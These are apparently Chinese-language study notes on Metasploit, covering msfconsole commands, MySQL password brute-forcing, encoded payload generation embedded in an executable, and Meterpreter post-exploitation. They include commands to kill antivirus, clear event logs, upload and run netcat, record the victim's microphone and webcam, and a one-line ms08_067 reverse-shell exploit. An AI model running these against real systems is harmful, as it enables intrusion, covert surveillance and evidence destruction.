msf架构:
Rex:调用的是操作系统中函数库,各种协议的沟通,协议的连接。是MSF依赖的基础。
MSF:core:最底层的库,MSF的核心库。
MSF:base: 由于核心库调用复杂凌乱,整理之后的结构为如下的几个模块,便于调用。
MSF:UI 用户界面。
启动:
kali虚拟机下直接点击图标就可以使用
关于MSF数据库
msfdb
msfdb init 初始化数据库
msfdb reinit 删除目前的的然后进行初化
msfdb delete 删除数据库,不在使用。
netstat -pantu |grep 5432
msf使用postgres数据库,在5432端口上。
msf渗透测试模块
放置位置:
/usr/share/metasploit-framework/modules
技术功能模块:
更新
msfupdate
基本使用
msfconsole 接口
1.banner
信息小贴士,每次敲出,提示的结果循环展示。
2.color
显示颜色,重要的模块或者区分时会自动标上不同颜色。
可以用color false取消,默认开启。
3.connect
连接命令,直接跟 ip:端口
地址会直接尝试连接。
4.show
重要命令,展示模块信息
例如,查看exploits
show exploits
6.search
在已有的模块中搜索相应的漏洞利用。
7.use
使用某个模块
例如:
use exploit/windows/http/serviio_checkstreamurl_cmd_exec
接着需要show options ,表示需要配置的参数,显示为yes的为必须配置的选项
use某个模块后一般使用的show命令。
show missing 查看需要配置但是还没配置的参数。
7.check,back
check 用来利用漏洞之前测试是否可用,back返回msf的根目录下。
db相关命令
db_status为状态语句
db_nmap 就可以在msf中直接执行nmap语句。
mysql_login
可以对mysql数据库密码进行爆破
msf auxiliary(mysql_login) > set BLANK_PASSWORDS true
BLANK_PASSWORDS => true
msf auxiliary(mysql_login) > set RHOSTS 192.168.1.3
RHOSTS => 192.168.1.3
set USERNAME root
USERNAME => root
run
[+] 192.168.1.3:3306 - 192.168.1.3:3306 -
[-] 192.168.1.3:3306 - 192.168.1.3:3306 -
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
密码并不为空,连接失败。
常用的其他控制台命令
setg 为设置全局,设置之后,无论调用哪个模块,它会自动设置参数为setg后的值。
引用外部的漏洞扫描
load 命令
例如
load nessus
loadpath 可以指定路径来执行自己保存的expliiot模块。
route命令用于控制了某个子网的一台机器的时候,可以用route来添加路由,方便进一步的渗透。
resource命令
资源文件,当我们拿到一个主机的shell的时候,我们可以把set等语句保存在一个文件里,例如a.rc,再次使用时直接调用这个资源文件,直接拿到shell,不用再次敲那么多命令了。
msfconcsol -r a.rc
生成payload
payload是可以直接拿来用的,选择使用哪个payload之后,我们可以用generate
命令来生成payload,但是直接生成的payload会包含’坏字符’也就是在执行过程中被转义或者其他意思的字符,例如%00,%ff等。可以用generate -b 字符
来对坏字符进行encoder,实现重新编码。
use payload/windows/shell_bind_tcp
generate -b '\x00'
generate -b '\x00xff'
指定encoder
generate -e x86/service
generate -b '\x00' -t exe -e x86/shikate_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe
恶意程序生成软件
Nanocore
下载地址
Meterpreter
显示桌面的进程为
:explorer.exe,kill掉这个进程,直接桌面不再显示。
基本命令
background 返回到之前的界面。
lpwd 显示攻击机的现在路径
lcd 指的是进入攻击机的某个目录
run 运行命令,包含200多个shell,例如:
bgrun killav //杀掉被攻击机的杀毒进程
bgrun 是在后天运行
clearev 用来清除日志,黑客用来将日志文件删除来确保行踪不被查到
cmd 下eventvwr 命令来查看系统日志
download 命名用来下载被攻击机的文件,保存在lpwd的目录下。
upload命令用来上传文件到目标主机,例如:
upload /var/share/windows-shell/nc.exe C:\\Windows\\system32
execute 执行命令
例如:
execute -f nc.exe - nvlp 3333
执行nc命令,在3333端口监听
补充:
netstat -aon 能看到所有的使用端口
netstat -aon | findstr “1544” 查看1544端口所占用的pid
tasklist | findstr “4300” 查看该进程的信息
dgservice.exe为驱动精灵的后台程序
getuid 为查看用户uid,getsystem倘若不是system用户,直接获取system权限。getprivs 查看当前权限,getpid查看进程号,因为它是以注入的方式依附在一个进程上,所以显示出某个程序的进程号。可以用migrate命令迁移。
下一页
idletime 显示操作系统已经空闲的时间,这个可以帮助我们推断机器是否有人在操控,避免操作冲突。
record_mic 监听被攻击机的录音
webcam_list 获取机器的web连接
webcam_snap -i 1 -v false 每隔1秒摄像头。
有关python
Msfcli(已经启用)
msfconsole -x "use exploit/windows/smb/ms08_067_netapi;
set RHOST 1.1.1.1; set PAYLOAD windows/meterpreter/ reverse_tcp;
set LHOST 1.1.1.8; set LPORT 5555; set target 34; exploit"